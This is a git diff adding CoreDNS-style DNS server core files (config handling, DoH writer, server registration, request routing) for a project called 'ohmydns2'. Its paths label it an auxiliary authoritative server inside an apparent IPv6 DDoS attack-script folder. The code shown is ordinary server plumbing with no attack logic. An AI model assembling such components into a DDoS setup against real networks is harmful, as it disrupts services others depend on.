+func keyForConfig(blocIndex int, blocKeyIndex int) string {
+ return fmt.Sprintf("%d:%d", blocIndex, blocKeyIndex)
+}
+
+// GetConfig gets the Config that corresponds to c.
+// If none exist nil is returned.
+func GetConfig(c *caddy.Controller) *Config {
+ ctx := c.Context().(*dnsContext)
+ key := keyForConfig(c.ServerBlockIndex, c.ServerBlockKeyIndex)
+ if cfg, ok := ctx.keysToConfigs[key]; ok {
+ return cfg
+ }
+ // we should only get here during tests because directive
+ // actions typically skip the server blocks where we make
+ // the configs.
+ ctx.saveConfig(key, &Config{ListenHosts: []string{""}})
+ return GetConfig(c)
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/https.go b/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/https.go
new file mode 100644
index 0000000..59658c6
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/https.go
@@ -0,0 +1,29 @@
+package dnsserver
+
+import (
+ "net"
+ "net/http"
+ "ohmydns2/plugin/pkg/nonwriter"
+)
+
+// DoHWriter is a nonwriter.Writer that adds more specific LocalAddr and RemoteAddr methods.
+type DoHWriter struct {
+ nonwriter.Writer
+
+ // raddr is the remote's address. This can be optionally set.
+ raddr net.Addr
+ // laddr is our address. This can be optionally set.
+ laddr net.Addr
+
+ // request is the HTTP request we're currently handling.
+ request *http.Request
+}
+
+// RemoteAddr returns the remote address.
+func (d *DoHWriter) RemoteAddr() net.Addr { return d.raddr }
+
+// LocalAddr returns the local address.
+func (d *DoHWriter) LocalAddr() net.Addr { return d.laddr }
+
+// Request returns the HTTP request
+func (d *DoHWriter) Request() *http.Request { return d.request }
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/onstartup.go b/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/onstartup.go
new file mode 100644
index 0000000..4ac3ec4
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/onstartup.go
@@ -0,0 +1,60 @@
+package dnsserver
+
+import (
+ "fmt"
+ "ohmydns2/plugin/pkg/dnsutil"
+ "regexp"
+ "sort"
+)
+
+// checkZoneSyntax() checks whether the given string match 1035 Preferred Syntax or not.
+// The root zone, and all reverse zones always return true even though they technically don't meet 1035 Preferred Syntax
+func checkZoneSyntax(zone string) bool {
+ if zone == "." || dnsutil.IsReverse(zone) != 0 {
+ return true
+ }
+ regex1035PreferredSyntax, _ := regexp.MatchString(`^(([A-Za-z]([A-Za-z0-9-]*[A-Za-z0-9])?)\.)+$`, zone)
+ return regex1035PreferredSyntax
+}
+
+// startUpZones creates the text that we show when starting up:
+// grpc://example.com.:1055
+// example.com.:1053 on 127.0.0.1
+func startUpZones(protocol, addr string, zones map[string][]*Config) string {
+ s := ""
+
+ keys := make([]string, len(zones))
+ i := 0
+
+ for k := range zones {
+ keys[i] = k
+ i++
+ }
+ sort.Strings(keys)
+
+ for _, zone := range keys {
+ //if strings.HasPrefix(protocol, "prober") {
+ // s += fmt.Sprintln("探测服务启动,访问路径为" + "http://" + prober.proberurl + ":" + transport.PHTTPPort + prober.proberPath)
+ // continue
+ //}
+ if !checkZoneSyntax(zone) {
+ s += fmt.Sprintf("Warning: Domain %q does not follow RFC1035 preferred syntax\n", zone)
+ }
+ // split addr into protocol, IP and Port
+ _, ip, port, err := SplitProtocolHostPort(addr)
+
+ if err != nil {
+ // this should not happen, but we need to take care of it anyway
+ s += fmt.Sprintln(protocol + zone + ":" + addr)
+ continue
+ }
+ if ip == "" {
+ s += fmt.Sprintln(protocol + zone + ":" + port)
+ continue
+ }
+ // if the server is listening on a specific address let's make it visible in the log,
+ // so one can differentiate between all active listeners
+ s += fmt.Sprintln(protocol + zone + ":" + port + " on " + ip)
+ }
+ return s
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/register.go b/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/register.go
new file mode 100644
index 0000000..7b54a88
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/register.go
@@ -0,0 +1,328 @@
+package dnsserver
+
+import (
+ "fmt"
+ "net"
+ "ohmydns2/plugin"
+ "ohmydns2/plugin/pkg/parse"
+ "ohmydns2/plugin/pkg/transport"
+ "time"
+
+ "github.com/coredns/caddy"
+ "github.com/coredns/caddy/caddyfile"
+ "github.com/miekg/dns"
+)
+
+const serverType = "dns"
+
+func init() {
+ caddy.RegisterServerType(serverType, caddy.ServerType{
+ Directives: func() []string { return Directives },
+ DefaultInput: func() caddy.Input {
+ return caddy.CaddyfileInput{
+ Filepath: "Ohmyfile",
+ Contents: []byte(".:" + Port + " {\nwhoami\nlog\n}\n"),
+ ServerTypeName: serverType,
+ }
+ },
+ NewContext: newContext,
+ })
+}
+
+func newContext(i *caddy.Instance) caddy.Context {
+ return &dnsContext{keysToConfigs: make(map[string]*Config)}
+}
+
+type dnsContext struct {
+ keysToConfigs map[string]*Config
+
+ // configs is the master list of all site configs.
+ configs []*Config
+}
+
+func (h *dnsContext) saveConfig(key string, cfg *Config) {
+ h.configs = append(h.configs, cfg)
+ h.keysToConfigs[key] = cfg
+}
+
+// Compile-time check to ensure dnsContext implements the caddy.Context interface
+var _ caddy.Context = &dnsContext{}
+
+// InspectServerBlocks make sure that everything checks out before
+// executing directives and otherwise prepares the directives to
+// be parsed and executed.
+func (h *dnsContext) InspectServerBlocks(sourceFile string, serverBlocks []caddyfile.ServerBlock) ([]caddyfile.ServerBlock, error) {
+ // Normalize and check all the zone names and check for duplicates
+ for ib, s := range serverBlocks {
+ // Walk the s.Keys and expand any reverse address in their proper DNS in-addr zones. If the expansions leads for
+ // more than one reverse zone, replace the current value and add the rest to s.Keys.
+ zoneAddrs := []zoneAddr{}
+ for ik, k := range s.Keys {
+ trans, k1 := parse.Transport(k) // get rid of any dns:// or other scheme.
+ hosts, port, err := plugin.SplitHostPort(k1)
+ // We need to make this a fully qualified domain name to catch all errors here and not later when
+ // plugin.Normalize is called again on these strings, with the prime difference being that the domain
+ // name is fully qualified. This was found by fuzzing where "ȶ" is deemed OK, but "ȶ." is not (might be a
+ // bug in miekg/dns actually). But here we were checking ȶ, which is OK, and later we barf in ȶ. leading to
+ // "index out of range".
+ for ih := range hosts {
+ _, _, err := plugin.SplitHostPort(dns.Fqdn(hosts[ih]))
+ if err != nil {
+ return nil, err
+ }
+ }
+ if err != nil {
+ return nil, err
+ }
+
+ if port == "" {
+ switch trans {
+ case transport.DNS:
+ port = Port
+ case transport.TLS:
+ port = transport.TLSPort
+ case transport.GRPC:
+ port = transport.GRPCPort
+ case transport.HTTPS:
+ port = transport.HTTPSPort
+ }
+ }
+
+ if len(hosts) > 1 {
+ s.Keys[ik] = hosts[0] + ":" + port // replace for the first
+ for _, h := range hosts[1:] { // add the rest
+ s.Keys = append(s.Keys, h+":"+port)
+ }
+ }
+ for i := range hosts {
+ zoneAddrs = append(zoneAddrs, zoneAddr{Zone: dns.Fqdn(hosts[i]), Port: port, Transport: trans})
+ }
+ }
+
+ serverBlocks[ib].Keys = s.Keys // important to save back the new keys that are potentially created here.
+
+ var firstConfigInBlock *Config
+
+ for ik := range s.Keys {
+ za := zoneAddrs[ik]
+ s.Keys[ik] = za.String()
+ // Save the config to our master list, and key it for lookups.
+ cfg := &Config{
+ Zone: za.Zone,
+ ListenHosts: []string{""},
+ Port: za.Port,
+ Transport: za.Transport,
+ }
+
+ // Set reference to the first config in the current block.
+ // This is used later by MakeServers to share a single plugin list
+ // for all zones in a server block.
+ if ik == 0 {
+ firstConfigInBlock = cfg
+ }
+ cfg.firstConfigInBlock = firstConfigInBlock
+
+ keyConfig := keyForConfig(ib, ik)
+ h.saveConfig(keyConfig, cfg)
+ }
+ }
+ return serverBlocks, nil
+}
+
+// MakeServers uses the newly-created siteConfigs to create and return a list of server instances.
+func (h *dnsContext) MakeServers() ([]caddy.Server, error) {
+ // Copy the Plugin, ListenHosts and Debug from first config in the block
+ // to all other config in the same block . Doing this results in zones
+ // sharing the same plugin instances and settings as other zones in
+ // the same block.
+ for _, c := range h.configs {
+ c.Plugin = c.firstConfigInBlock.Plugin
+ c.ListenHosts = c.firstConfigInBlock.ListenHosts
+ c.Debug = c.firstConfigInBlock.Debug
+ c.Stacktrace = c.firstConfigInBlock.Stacktrace
+
+ // Fork TLSConfig for each encrypted connection
+ c.TLSConfig = c.firstConfigInBlock.TLSConfig.Clone()
+ c.ReadTimeout = c.firstConfigInBlock.ReadTimeout
+ c.WriteTimeout = c.firstConfigInBlock.WriteTimeout
+ c.IdleTimeout = c.firstConfigInBlock.IdleTimeout
+ c.TsigSecret = c.firstConfigInBlock.TsigSecret
+ }
+
+ // we must map (group) each config to a bind address
+ groups, err := groupConfigsByListenAddr(h.configs)
+ if err != nil {
+ return nil, err
+ }
+ // then we create a server for each group
+ var servers []caddy.Server
+ for addr, group := range groups {
+ // switch on addr
+ switch tr, _ := parse.Transport(addr); tr {
+ case transport.DNS:
+ s, err := NewServer(addr, group)
+ if err != nil {
+ return nil, err
+ }
+ servers = append(servers, s)
+
+ case transport.TLS:
+ s, err := NewServerTLS(addr, group)
+ if err != nil {
+ return nil, err
+ }
+ servers = append(servers, s)
+ //暂不启用grpc传输
+ //case transport.GRPC:
+ // s, err := NewServergRPC(addr, group)
+ // if err != nil {
+ // return nil, err
+ // }
+ // servers = append(servers, s)
+ //case transport.PROBER:
+ // s, err := prober.NewProberHTTP(addr, group)
+ // if err != nil {
+ // return nil, err
+ // }
+ // servers = append(servers, s)
+ case transport.HTTPS:
+ s, err := NewServerHTTPS(addr, group)
+ if err != nil {
+ return nil, err
+ }
+ servers = append(servers, s)
+ }
+ }
+
+ // For each server config, check for View Filter plugins
+ for _, c := range h.configs {
+ // Add filters in the plugin.cfg order for consistent filter func evaluation order.
+ for _, d := range Directives {
+ if vf, ok := c.registry[d].(Viewer); ok {
+ if c.ViewName != "" {
+ return nil, fmt.Errorf("multiple views defined in server block")
+ }
+ c.ViewName = vf.ViewName()
+ c.FilterFuncs = append(c.FilterFuncs, vf.Filter)
+ }
+ }
+ }
+
+ // Verify that there is no overlap on the zones and listen addresses
+ // for unfiltered server configs
+ errValid := h.validateZonesAndListeningAddresses()
+ if errValid != nil {
+ return nil, errValid
+ }
+
+ return servers, nil
+}
+
+// AddPlugin adds a plugin to a site's plugin stack.
+func (c *Config) AddPlugin(m plugin.Plugin) {
+ c.Plugin = append(c.Plugin, m)
+}
+
+// registerHandler adds a handler to a site's handler registration. Handlers
+//
+// use this to announce that they exist to other plugin.
+func (c *Config) registerHandler(h plugin.Handler) {
+ if c.registry == nil {
+ c.registry = make(map[string]plugin.Handler)
+ }
+
+ // Just overwrite...
+ c.registry[h.Name()] = h
+}
+
+// Handler returns the plugin handler that has been added to the config under its name.
+// This is useful to inspect if a certain plugin is active in this server.
+// Note that this is order dependent and the order is defined in directives.go, i.e. if your plugin
+// comes before the plugin you are checking; it will not be there (yet).
+func (c *Config) Handler(name string) plugin.Handler {
+ if c.registry == nil {
+ return nil
+ }
+ if h, ok := c.registry[name]; ok {
+ return h
+ }
+ return nil
+}
+
+// Handlers returns a slice of plugins that have been registered. This can be used to
+// inspect and interact with registered plugins but cannot be used to remove or add plugins.
+// Note that this is order dependent and the order is defined in directives.go, i.e. if your plugin
+// comes before the plugin you are checking; it will not be there (yet).
+func (c *Config) Handlers() []plugin.Handler {
+ if c.registry == nil {
+ return nil
+ }
+ hs := make([]plugin.Handler, 0, len(c.registry))
+ for k := range c.registry {
+ hs = append(hs, c.registry[k])
+ }
+ return hs
+}
+
+func (h *dnsContext) validateZonesAndListeningAddresses() error {
+ //Validate Zone and addresses
+ checker := newOverlapZone()
+ for _, conf := range h.configs {
+ for _, h := range conf.ListenHosts {
+ // Validate the overlapping of ZoneAddr
+ akey := zoneAddr{Transport: conf.Transport, Zone: conf.Zone, Address: h, Port: conf.Port}
+ var existZone, overlapZone *zoneAddr
+ if len(conf.FilterFuncs) > 0 {
+ // This config has filters. Check for overlap with other (unfiltered) configs.
+ existZone, overlapZone = checker.check(akey)
+ } else {
+ // This config has no filters. Check for overlap with other (unfiltered) configs,
+ // and register the zone to prevent subsequent zones from overlapping with it.
+ existZone, overlapZone = checker.registerAndCheck(akey)
+ }
+ if existZone != nil {
+ return fmt.Errorf("cannot serve %s - it is already defined", akey.String())
+ }
+ if overlapZone != nil {
+ return fmt.Errorf("cannot serve %s - zone overlap listener capacity with %v", akey.String(), overlapZone.String())
+ }
+ }
+ }
+ return nil
+}
+
+// groupConfigsByListenAddr groups site configs by their listen
+// (bind) address, so sites that use the same listener can be served
+// on the same server instance. The return value maps the listen
+// address (what you pass into net.Listen) to the list of site configs.
+// This function does NOT vet the configs to ensure they are compatible.
+func groupConfigsByListenAddr(configs []*Config) (map[string][]*Config, error) {
+ groups := make(map[string][]*Config)
+ for _, conf := range configs {
+ for _, h := range conf.ListenHosts {
+ addr, err := net.ResolveTCPAddr("tcp", net.JoinHostPort(h, conf.Port))
+ if err != nil {
+ return nil, err
+ }
+ addrstr := conf.Transport + "://" + addr.String()
+ groups[addrstr] = append(groups[addrstr], conf)
+ }
+ }
+
+ return groups, nil
+}
+
+// DefaultPort is the default port.
+const DefaultPort = transport.Port
+
+// These "soft defaults" are configurable by
+// command line flags, etc.
+var (
+ // Port is the port we listen on by default.
+ Port = DefaultPort
+
+ // GracefulTimeout is the maximum duration of a graceful shutdown.
+ GracefulTimeout time.Duration
+)
+
+var _ caddy.GracefulServer = new(Server)
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/server.go b/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/server.go
new file mode 100644
index 0000000..ad2d991
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/server.go
@@ -0,0 +1,456 @@
+package dnsserver
+
+import (
+ "context"
+ "fmt"
+ "github.com/coredns/caddy"
+ "github.com/miekg/dns"
+ ot "github.com/opentracing/opentracing-go"
+ "net"
+ "ohmydns2/plugin"
+ "ohmydns2/plugin/pkg/edns"
+ "ohmydns2/plugin/pkg/log"
+ "ohmydns2/plugin/pkg/rcode"
+ "ohmydns2/plugin/pkg/request"
+ "ohmydns2/plugin/pkg/reuseport"
+ "ohmydns2/plugin/pkg/trace"
+ "ohmydns2/plugin/pkg/transport"
+ "ohmydns2/plugin/prometheus/vars"
+ "runtime"
+ "runtime/debug"
+ "strings"
+ "sync"
+ "time"
+)
+
+// Server represents an instance of a server, which serves
+// DNS requests at a particular address (host and port). A
+// server is capable of serving numerous zones on
+// the same address and the listener may be stopped for
+// graceful termination (POSIX only).
+type Server struct {
+ Addr string // Address we listen on
+
+ server [2]*dns.Server // 0 is a net.Listener, 1 is a net.PacketConn (a *UDPConn) in our case.
+ m sync.Mutex // protects the servers
+
+ zones map[string][]*Config // zones keyed by their address
+ dnsWg sync.WaitGroup // used to wait on outstanding connections
+ graceTimeout time.Duration // the maximum duration of a graceful shutdown
+ trace trace.Trace // the trace plugin for the server
+ debug bool // disable recover()
+ stacktrace bool // enable stacktrace in recover error log
+ classChaos bool // allow non-INET class queries
+ idleTimeout time.Duration // Idle timeout for TCP
+ readTimeout time.Duration // Read timeout for TCP
+ writeTimeout time.Duration // Write timeout for TCP
+
+ tsigSecret map[string]string
+}
+
+// MetadataCollector is a plugin that can retrieve metadata functions from all metadata providing plugins
+type MetadataCollector interface {
+ Collect(context.Context, request.Request) context.Context
+}
+
+// NewServer returns a new OhmyDNS server and compiles all plugins in to it. By default CH class
+// queries are blocked unless queries from enableChaos are loaded.
+func NewServer(addr string, group []*Config) (*Server, error) {
+ s := &Server{
+ Addr: addr,
+ zones: make(map[string][]*Config),
+ graceTimeout: 5 * time.Second,
+ idleTimeout: 10 * time.Second,
+ readTimeout: 3 * time.Second,
+ writeTimeout: 5 * time.Second,
+ tsigSecret: make(map[string]string),
+ }
+ log.Infof("Do53服务启动,监听地址: %v", addr)
+
+ // We have to bound our wg with one increment
+ // to prevent a "race condition" that is hard-coded
+ // into sync.WaitGroup.Wait() - basically, an add
+ // with a positive delta must be guaranteed to
+ // occur before Wait() is called on the wg.
+ // In a way, this kind of acts as a safety barrier.
+ s.dnsWg.Add(1)
+
+ for _, site := range group {
+ if site.Debug {
+ s.debug = true
+ log.D.Set()
+ }
+ s.stacktrace = site.Stacktrace
+
+ // append the config to the zone's configs
+ s.zones[site.Zone] = append(s.zones[site.Zone], site)
+
+ // set timeouts
+ if site.ReadTimeout != 0 {
+ s.readTimeout = site.ReadTimeout
+ }
+ if site.WriteTimeout != 0 {
+ s.writeTimeout = site.WriteTimeout
+ }
+ if site.IdleTimeout != 0 {
+ s.idleTimeout = site.IdleTimeout
+ }
+
+ // copy tsig secrets
+ for key, secret := range site.TsigSecret {
+ s.tsigSecret[key] = secret
+ }
+
+ // compile custom plugin for everything
+ var stack plugin.Handler
+ for i := len(site.Plugin) - 1; i >= 0; i-- {
+ stack = site.Plugin[i](stack)
+
+ // register the *handler* also
+ site.registerHandler(stack)
+
+ // If the current plugin is a MetadataCollector, bookmark it for later use. This loop traverses the plugin
+ // list backwards, so the first MetadataCollector plugin wins.
+ if mdc, ok := stack.(MetadataCollector); ok {
+ site.metaCollector = mdc
+ }
+
+ if s.trace == nil && stack.Name() == "trace" {
+ // we have to stash away the plugin, not the
+ // Tracer object, because the Tracer won't be initialized yet
+ if t, ok := stack.(trace.Trace); ok {
+ s.trace = t
+ }
+ }
+ // Unblock CH class queries when any of these plugins are loaded.
+ if _, ok := EnableChaos[stack.Name()]; ok {
+ s.classChaos = true
+ }
+ }
+ site.pluginChain = stack
+ }
+
+ if !s.debug {
+ // When reloading we need to explicitly disable debug logging if it is now disabled.
+ log.D.Clear()
+ }
+
+ return s, nil
+}
+
+// Compile-time check to ensure Server implements the caddy.GracefulServer interface
+var _ caddy.GracefulServer = &Server{}
+
+// Serve starts the server with an existing listener. It blocks until the server stops.
+// This implements caddy.TCPServer interface.
+func (s *Server) Serve(l net.Listener) error {
+ s.m.Lock()
+
+ s.server[tcp] = &dns.Server{Listener: l,
+ Net: "tcp",
+ TsigSecret: s.tsigSecret,
+ MaxTCPQueries: tcpMaxQueries,
+ ReadTimeout: s.readTimeout,
+ WriteTimeout: s.writeTimeout,
+ IdleTimeout: func() time.Duration {
+ return s.idleTimeout
+ },
+ Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) {
+ ctx := context.WithValue(context.Background(), Key{}, s)
+ ctx = context.WithValue(ctx, LoopKey{}, 0)
+ s.ServeDNS(ctx, w, r)
+ })}
+
+ s.m.Unlock()
+
+ return s.server[tcp].ActivateAndServe()
+}
+
+// ServePacket starts the server with an existing packetconn. It blocks until the server stops.
+// This implements caddy.UDPServer interface.
+func (s *Server) ServePacket(p net.PacketConn) error {
+ s.m.Lock()
+ s.server[udp] = &dns.Server{PacketConn: p, Net: "udp", Handler: dns.HandlerFunc(func(w dns.ResponseWriter, r *dns.Msg) {
+ ctx := context.WithValue(context.Background(), Key{}, s)
+ ctx = context.WithValue(ctx, LoopKey{}, 0)
+ s.ServeDNS(ctx, w, r)
+ }), TsigSecret: s.tsigSecret}
+ s.m.Unlock()
+
+ return s.server[udp].ActivateAndServe()
+}
+
+// Listen implements caddy.TCPServer interface.
+func (s *Server) Listen() (net.Listener, error) {
+ l, err := reuseport.Listen("tcp", s.Addr[len(transport.DNS+"://"):])
+ if err != nil {
+ return nil, err
+ }
+ return l, nil
+}
+
+// WrapListener Listen implements caddy.GracefulServer interface.
+func (s *Server) WrapListener(ln net.Listener) net.Listener {
+ return ln
+}
+
+// ListenPacket implements caddy.UDPServer interface.
+func (s *Server) ListenPacket() (net.PacketConn, error) {
+ p, err := reuseport.ListenPacket("udp", s.Addr[len(transport.DNS+"://"):])
+ if err != nil {
+ return nil, err
+ }
+
+ return p, nil
+}
+
+// Stop stops the server. It blocks until the server is
+// totally stopped. On POSIX systems, it will wait for
+// connections to close (up to a max timeout of a few
+// seconds); on Windows it will close the listener
+// immediately.
+// This implements Caddy.Stopper interface.
+func (s *Server) Stop() (err error) {
+ if runtime.GOOS != "windows" {
+ // force connections to close after timeout
+ done := make(chan struct{})
+ go func() {
+ s.dnsWg.Done() // decrement our initial increment used as a barrier
+ s.dnsWg.Wait()
+ close(done)
+ }()
+
+ // Wait for remaining connections to finish or
+ // force them all to close after timeout
+ select {
+ case <-time.After(s.graceTimeout):
+ case <-done:
+ }
+ }
+
+ // Close the listener now; this stops the server without delay
+ s.m.Lock()
+ for _, s1 := range s.server {
+ // We might not have started and initialized the full set of servers
+ if s1 != nil {
+ err = s1.Shutdown()
+ }
+ }
+ s.m.Unlock()
+ return
+}
+
+// Address together with Stop() implement caddy.GracefulServer.
+func (s *Server) Address() string { return s.Addr }
+
+// ServeDNS is the entry point for every request to the address that
+// is bound to. It acts as a multiplexer for the requests zonename as
+// defined in the request so that the correct zone
+// (configuration and plugin stack) will handle the request.
+func (s *Server) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) {
+ // The default dns.Mux checks the question section size, but we have our
+ // own mux here. Check if we have a question section. If not drop them here.
+ if r == nil || len(r.Question) == 0 {
+ errorAndMetricsFunc(s.Addr, w, r, dns.RcodeServerFailure)
+ return
+ }
+
+ if !s.debug {
+ defer func() {
+ // In case the user doesn't enable error plugin, we still
+ // need to make sure that we stay alive up here
+ if rec := recover(); rec != nil {
+ if s.stacktrace {
+ log.Errorf("Recovered from panic in server: %q %v\n%s", s.Addr, rec, string(debug.Stack()))
+ } else {
+ log.Errorf("Recovered from panic in server: %q %v", s.Addr, rec)
+ }
+ vars.Panic.Inc()
+ errorAndMetricsFunc(s.Addr, w, r, dns.RcodeServerFailure)
+ }
+ }()
+ }
+
+ if !s.classChaos && r.Question[0].Qclass != dns.ClassINET {
+ errorAndMetricsFunc(s.Addr, w, r, dns.RcodeRefused)
+ return
+ }
+
+ if m, err := edns.Version(r); err != nil { // Wrong EDNS version, return at once.
+ w.WriteMsg(m)
+ return
+ }
+
+ // Wrap the response writer in a ScrubWriter so we automatically make the reply fit in the client's buffer.
+ w = request.NewScrubWriter(r, w)
+
+ q := strings.ToLower(r.Question[0].Name)
+ var (
+ off int
+ end bool
+ dshandler *Config
+ )
+
+ for {
+ if z, ok := s.zones[q[off:]]; ok {
+ for _, h := range z {
+ if h.pluginChain == nil { // zone defined, but has not got any plugins
+ errorAndMetricsFunc(s.Addr, w, r, dns.RcodeRefused)
+ return
+ }
+
+ if h.metaCollector != nil {
+ // Collect metadata now, so it can be used before we send a request down the plugin chain.
+ ctx = h.metaCollector.Collect(ctx, request.Request{Req: r, W: w})
+ }
+
+ // If all filter funcs pass, use this config.
+ if passAllFilterFuncs(ctx, h.FilterFuncs, &request.Request{Req: r, W: w}) {
+ if h.ViewName != "" {
+ // if there was a view defined for this Config, set the view name in the context
+ ctx = context.WithValue(ctx, ViewKey{}, h.ViewName)
+ }
+ if r.Question[0].Qtype != dns.TypeDS {
+ rcode, _ := h.pluginChain.ServeDNS(ctx, w, r)
+ if !plugin.ClientWrite(rcode) {
+ errorFunc(s.Addr, w, r, rcode)
+ }
+ return
+ }
+ // The type is DS, keep the handler, but keep on searching as maybe we are serving
+ // the parent as well and the DS should be routed to it - this will probably *misroute* DS
+ // queries to a possibly grand parent, but there is no way for us to know at this point
+ // if there is an actual delegation from grandparent -> parent -> zone.
+ // In all fairness: direct DS queries should not be needed.
+ dshandler = h
+ }
+ }
+ }
+ off, end = dns.NextLabel(q, off)
+ if end {
+ break
+ }
+ }
+
+ if r.Question[0].Qtype == dns.TypeDS && dshandler != nil && dshandler.pluginChain != nil {
+ // DS request, and we found a zone, use the handler for the query.
+ rcode, _ := dshandler.pluginChain.ServeDNS(ctx, w, r)
+ if !plugin.ClientWrite(rcode) {
+ errorFunc(s.Addr, w, r, rcode)
+ }
+ return
+ }
+
+ // Wildcard match, if we have found nothing try the root zone as a last resort.
+ if z, ok := s.zones["."]; ok {
+ for _, h := range z {
+ if h.pluginChain == nil {
+ continue
+ }
+
+ if h.metaCollector != nil {
+ // Collect metadata now, so it can be used before we send a request down the plugin chain.
+ ctx = h.metaCollector.Collect(ctx, request.Request{Req: r, W: w})
+ }
+
+ // If all filter funcs pass, use this config.
+ if passAllFilterFuncs(ctx, h.FilterFuncs, &request.Request{Req: r, W: w}) {
+ if h.ViewName != "" {
+ // if there was a view defined for this Config, set the view name in the context
+ ctx = context.WithValue(ctx, ViewKey{}, h.ViewName)
+ }
+ rcode, _ := h.pluginChain.ServeDNS(ctx, w, r)
+ if !plugin.ClientWrite(rcode) {
+ errorFunc(s.Addr, w, r, rcode)
+ }
+ return
+ }
+ }
+ }
+
+ // Still here? Error out with REFUSED.
+ errorAndMetricsFunc(s.Addr, w, r, dns.RcodeRefused)
+}
+
+// passAllFilterFuncs returns true if all filter funcs evaluate to true for the given request
+func passAllFilterFuncs(ctx context.Context, filterFuncs []FilterFunc, req *request.Request) bool {
+ for _, ff := range filterFuncs {
+ if !ff(ctx, req) {
+ return false
+ }
+ }
+ return true
+}
+
+// OnStartupComplete lists the sites served by this server
+// and any relevant information, assuming Quiet is false.
+func (s *Server) OnStartupComplete() {
+ if Quiet {
+ return
+ }
+
+ out := startUpZones("", s.Addr, s.zones)
+ if out != "" {
+ fmt.Print(out)
+ }
+}
+
+// Tracer returns the tracer in the server if defined.
+func (s *Server) Tracer() ot.Tracer {
+ if s.trace == nil {
+ return nil
+ }
+
+ return s.trace.Tracer()
+}
+
+// errorFunc responds to an DNS request with an error.
+func errorFunc(server string, w dns.ResponseWriter, r *dns.Msg, rc int) {
+ state := request.Request{W: w, Req: r}
+
+ answer := new(dns.Msg)
+ answer.SetRcode(r, rc)
+ state.SizeAndDo(answer)
+
+ w.WriteMsg(answer)
+}
+
+func errorAndMetricsFunc(server string, w dns.ResponseWriter, r *dns.Msg, rc int) {
+ state := request.Request{W: w, Req: r}
+
+ answer := new(dns.Msg)
+ answer.SetRcode(r, rc)
+ state.SizeAndDo(answer)
+
+ vars.Report(server, state, vars.Dropped, "", rcode.ToString(rc), "" /* plugin */, answer.Len(), time.Now())
+
+ w.WriteMsg(answer)
+}
+
+const (
+ tcp = 0
+ udp = 1
+
+ tcpMaxQueries = -1
+)
+
+type (
+ // Key is the context key for the current server added to the context.
+ Key struct{}
+
+ // LoopKey is the context key to detect server wide loops.
+ LoopKey struct{}
+
+ // ViewKey is the context key for the current view, if defined
+ ViewKey struct{}
+)
+
+// EnableChaos is a map with plugin names for which we should open CH class queries as we block these by default.
+var EnableChaos = map[string]struct{}{
+ "chaos": {},
+ "forward": {},
+ "proxy": {},
+}
+
+// Quiet mode will not show any informative output on initialization.
+var Quiet bool
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/server_grpc.go b/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/server_grpc.go
new file mode 100644
index 0000000..ce0a380
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/core/dnsserver/server_grpc.go
@@ -0,0 +1,180 @@
+package dnsserver
+
+//暂不启用
+//
+//import (
+// "crypto/tls"
+// "errors"
+// "fmt"
+// "net"
+// "ohmydns2/plugin/pkg/reuseport"
+// "ohmydns2/plugin/pkg/transport"
+//
+// "github.com/coredns/caddy"
+// "github.com/miekg/dns"
+// "github.com/opentracing/opentracing-go"
+//)
+//
+//// ServergRPC represents an instance of a DNS-over-gRPC server.
+//type ServergRPC struct {
+// *Server
+// *pb.UnimplementedDnsServiceServer
+// grpcServer *grpc.Server
+// listenAddr net.Addr
+// tlsConfig *tls.Config
+//}
+//
+//// NewServergRPC returns a new CoreDNS GRPC server and compiles all plugin in to it.
+//func NewServergRPC(addr string, group []*Config) (*ServergRPC, error) {
+// s, err := NewServer(addr, group)
+// if err != nil {
+// return nil, err
+// }
+// // The *tls* plugin must make sure that multiple conflicting
+// // TLS configuration returns an error: it can only be specified once.
+// var tlsConfig *tls.Config
+// for _, z := range s.zones {
+// for _, conf := range z {
+// // Should we error if some configs *don't* have TLS?
+// tlsConfig = conf.TLSConfig
+// }
+// }
+// // http/2 is required when using gRPC. We need to specify it in next protos
+// // or the upgrade won't happen.
+// if tlsConfig != nil {
+// tlsConfig.NextProtos = []string{"h2"}
+// }
+//
+// return &ServergRPC{Server: s, tlsConfig: tlsConfig}, nil
+//}
+//
+//// Compile-time check to ensure Server implements the caddy.GracefulServer interface
+//var _ caddy.GracefulServer = &Server{}
+//
+//// Serve implements caddy.TCPServer interface.
+//func (s *ServergRPC) Serve(l net.Listener) error {
+// s.m.Lock()
+// s.listenAddr = l.Addr()
+// s.m.Unlock()
+//
+// if s.Tracer() != nil {
+// onlyIfParent := func(parentSpanCtx opentracing.SpanContext, method string, req, resp interface{}) bool {
+// return parentSpanCtx != nil
+// }
+// intercept := otgrpc.OpenTracingServerInterceptor(s.Tracer(), otgrpc.IncludingSpans(onlyIfParent))
+// s.grpcServer = grpc.NewServer(grpc.UnaryInterceptor(intercept))
+// } else {
+// s.grpcServer = grpc.NewServer()
+// }
+//
+// pb.RegisterDnsServiceServer(s.grpcServer, s)
+//
+// if s.tlsConfig != nil {
+// l = tls.NewListener(l, s.tlsConfig)
+// }
+// return s.grpcServer.Serve(l)
+//}
+//
+//// ServePacket implements caddy.UDPServer interface.
+//func (s *ServergRPC) ServePacket(p net.PacketConn) error { return nil }
+//
+//// Listen implements caddy.TCPServer interface.
+//func (s *ServergRPC) Listen() (net.Listener, error) {
+// l, err := reuseport.Listen("tcp", s.Addr[len(transport.GRPC+"://"):])
+// if err != nil {
+// return nil, err
+// }
+// return l, nil
+//}
+//
